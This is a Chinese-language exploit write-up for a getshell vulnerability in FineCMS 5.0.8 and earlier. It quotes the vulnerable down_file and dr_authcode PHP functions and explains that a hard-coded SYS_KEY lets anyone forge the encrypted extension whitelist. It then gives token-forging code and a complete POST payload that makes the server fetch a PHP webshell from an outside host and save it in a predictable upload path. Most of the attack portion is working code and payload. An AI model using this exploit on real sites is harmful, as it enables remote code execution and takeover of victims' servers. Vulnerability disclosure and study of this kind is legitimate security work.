通杀FineCMS5.0.8及版本以下getshell漏洞的

在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器. ```php public function down_file() { $p = array(); $url = explode('&', $this->input->post('url')); //经过& 分割 foreach ($url as $t) { $item = explode('=', $t); $p[$item[0]] = $item[1]; } //经过 = 分割 !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件'))); //对$p['code'] 进行解码 list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE')); //得到尺寸和后缀 $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'; !is_dir($path) && dr_mkdirs($path); $furl = $this->input->post('file'); $file = dr_catcher_data($furl); //dr_catcher_data 是读取远程文件 !$file && exit(dr_json(0, '获取远程文件失败')); $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名 !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许')); $filename = substr(md5(time()), 0, 7).rand(100, 999); if (@file_put_contents($path.$filename.'.'.$fileext, $file)) { $info = array( 'file_ext' => '.'.$fileext, 'full_path' => $path.$filename.'.'.$fileext, 'file_size' => filesize($path.$filename.'.'.$fileext)/1024, 'client_name' => '', ); ``` 大概就是先对url进行& 以及 =的分割.最后把code拿出来利用dr_authcode解密.在文件/finecms/dayrui/helpers/function_helper.php里面发现了对dr_authcode的定义 ```php function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { if (!$string) { return ''; } $ckey_length = 4; $key = md5($key ? $key : SYS_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if ($operation == 'DECODE') { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc . str_replace('=', '', base64_encode($result)); } } ``` 其中还是关联到了SYS_KEY。然而这个值被写死了.没有初始化,所以任何人都可以利用。 修改了下down_file函数的过程.节省了传参过程 ```php $teststr = "1234|php,txt,jpg,png"; $shell = dr_authcode($teststr, 'ENCODE'); $url = "cmd=webshell&code=".$shell; $url = explode('&', $url); //先按照&进行分割 foreach ($url as $t) { $item = explode('=', $t); //再按照 = 来分割 $p[$item[0]] = $item[1]; } !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件'))); list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE')); ``` ![](http://0day5.com/usr/uploads/2017/07/3833308757.png) 路径是根据当月时间来生成的 ```php $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'; //年月 ``` ![](http://0day5.com/usr/uploads/2017/07/2915346375.png) 利用就好办了.利用$key的值不变.然后生成一个参数url在post一下 ``` file=http://cmd.baidu.info/?cmd.php&url=%63%6d%64%3d%77%65%62%73%68%65%6c%6c%26%63%6f%64%65%3d%30%62%35%37%6f%61%38%35%70%4e%6f%72%38%5a%7a%4e%41%42%30%79%38%4e%2f%5a%53%4e%44%71%30%74%31%68%46%6f%34%63%4f%49%41%53%7a%42%67%61%49%57%34%79%47%59%51%46%47%31%79%73%56%5a%62%6f%52%67%52%63%46%51 ``` ![](http://0day5.com/usr/uploads/2017/07/2340415428.png)

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